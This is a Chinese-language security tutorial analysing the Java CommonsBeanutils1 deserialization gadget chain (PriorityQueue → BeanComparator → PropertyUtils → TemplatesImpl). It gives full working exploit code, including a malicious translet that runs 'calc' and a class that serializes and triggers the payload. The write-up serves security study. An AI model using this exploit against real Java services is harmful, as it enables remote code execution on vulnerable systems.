0x00前言

在CC2和CC4这两条针对CommonsColletions4的链子里,我们用到了java.util.PriorityQueue,里面执行了java.util.Comparator接口的compare()方法。我们能不能找到其他可以利用的 java.util.Comparator对象呢?

0x01环境搭建

  • jdk8u65
  • Maven
  • commons-collections3.1
  • commons-beanutils1.9.2
  • commons-logging1.2

0x02CommonsBeanUtils简介

Apache Commons工具集下除了collections以外还有BeanUtils,它主要用于控制JavaBean,有关JavaBean的详细介绍,可以看廖雪峰老师的文章

比如Cat类:

1
2
3
4
5
6
7
8
9
public class Cat {
private String name="notlus";
public String getName(){
return name;
}
public void setName(String name){
this.name=name;
}
}

它包含一个私有属性name,我们把一组对应的读方法(getter)和写方法(setter),称为属性(property)。例如:name属性

  • 对应的读方法是String getName()
  • 对应的写方法是setName(String)

PropertyUtils

commons-beanutils中提供了一个静态方法PropertyUtils.getProperty,让使用者可以直接调用任意JavaBean的getter方法,如:

1
2
3
4
5
6
7
8
import org.apache.commons.beanutils.PropertyUtils;

public class Test {
public static void main(String[] args)throws Exception{
String name=(String)PropertyUtils.getProperty(new Cat(),"name");
System.out.println(name);
}
}

此时,commons-beanutils会通过反射找到name属性的getter方法,也就是getName,然后调用,获得返回值。此外,PropertyUtils.getProperty还支持递归获取属性,比如a对象有属性b,b对象有属性c,就可以通过PropertyUtils.getProperty(a,"b.c")的方法递归获取属性c

0x02利用链分析

BeanComparator

我们的目的是要找到一个有compare方法的类,而commons-beanutils包就存在一个符合我们要求的类:BeanComparator,它继承了java.utils.Comparator,所以也重写了compare方法

这个方法需要传入两个对象,如果this.property==null,则直接比较对象,否则往下分别过去这两个对象的this.property属性,然后再比较属性的值。

而里面恰好也调用了getProperty方法,会去调用一个JavaBeangetter方法,那么我们的目的就变成了找到一个里面能够执行恶意代码的getter方法。而TemplatesImpl这个类就是我们需要找的类,我们先回顾一下利用TemplasImpl动态加载字节码的链子:

1
2
3
4
5
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoade.defineClass()

我们来看一下TemplatesImpl.getOUtputProperties()

里面调用了newTransformer(),可以用来加载恶意字节码,而且这个方法本身也符合getter的定义,如果我们往property里面传入outputProperties时,这里就会通过反射调用getter,也就会触发命令执行

写一个测试demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestBeanComparator {
public static void main(String[] args) throws Exception{
TemplatesImpl templates=new TemplatesImpl();
byte[] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class"));
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_name","notlus");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
BeanComparator beanComparator=new BeanComparator("outputProperties");
beanComparator.compare(templates,templates);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field=obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}

再探CC2——PriorityQueue

接下来找入口类,我们需要找到一个调用了compare方法、而且可以被序列化的类作为我们的入口类,所以我们得到在CC2中讲到的java.util.PriorityQueue

在反序列化的时候,会调用heapify方法对元素进行调整,确保元素的顺序正确

heapify通过siftDown下沉结点,将数组转为堆结构

comparator不为null时,就会调用siftDownUsingComparator方法,而siftDownUsingComparator里面调用了compare方法

到这里我们就可以连接上前面的BeanComparator方法了,总结一下利用链,这里我写详细一点:

1
2
3
4
5
6
7
8
9
GadgetChain:
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
Priority.siftDownUsingComparator()
BeanComaparator.compare()
PropertyUtils.getProperty()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()

0x03编写exp

待加载的字节码这部分比较简单,只是需要注意继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;


public class Calc extends AbstractTranslet{
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
public Calc(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

我们一步一步来拆解exp,首先就是创建TemplatesImpl

1
2
3
4
5
TemplatesImpl templates=new TemplatesImpl();
byte[] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class"));
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_name","notlus");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

然后实例化BeanComarator,先调用它空的构造函数,如果这里就把参数传入的话后面,add方法那里会抛出错误。所以后面再通过反射修改

1
BeanComparator beanComparator=new BeanComparator();

再然后就是创建队列了,这里我们把beanComparator传进去,因为add方法本身也会触发利用链,我们就先传入两个无用的值

1
2
3
PriorityQueue priorityQueue=new PriorityQueue(2,beanComparator);
priorityQueue.add(1);
priorityQueue.add(2);

最后是利用反射修改属性:

1
2
setFieldValue(beanComparator,"property","_outputProperties");
setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB1 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates=new TemplatesImpl();
byte[] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class"));
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_name","notlus");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
BeanComparator beanComparator=new BeanComparator();
//创建队列
PriorityQueue priorityQueue=new PriorityQueue(2,beanComparator);
priorityQueue.add(1);
priorityQueue.add(2);
setFieldValue(beanComparator,"property","outputProperties");
setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});//队列长度为2,所以需要放入两个
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field=obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static void serialize(Object obj) throws Exception{
java.io.FileOutputStream fileOut=new java.io.FileOutputStream("ser.bin");
java.io.ObjectOutputStream out=new java.io.ObjectOutputStream(fileOut);
out.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception{
java.io.FileInputStream fileIn=new java.io.FileInputStream(Filename);
java.io.ObjectInputStream in=new java.io.ObjectInputStream(fileIn);
Object obj=in.readObject();
return obj;
}
}

0x04总结

CB1主要利用的还是Apache Commons Beanutils下的两个类:BeanComparatorPropertyUtilsPropertyUtils.getProperty可以实现可执行危险代码的getter方法进行调用,而BeanComparator.compare就可以完成对PropertyUtils.getProperty的调用,而这个类本身也是一个可以利用的 java.util.Comparator对象。多调试多总结……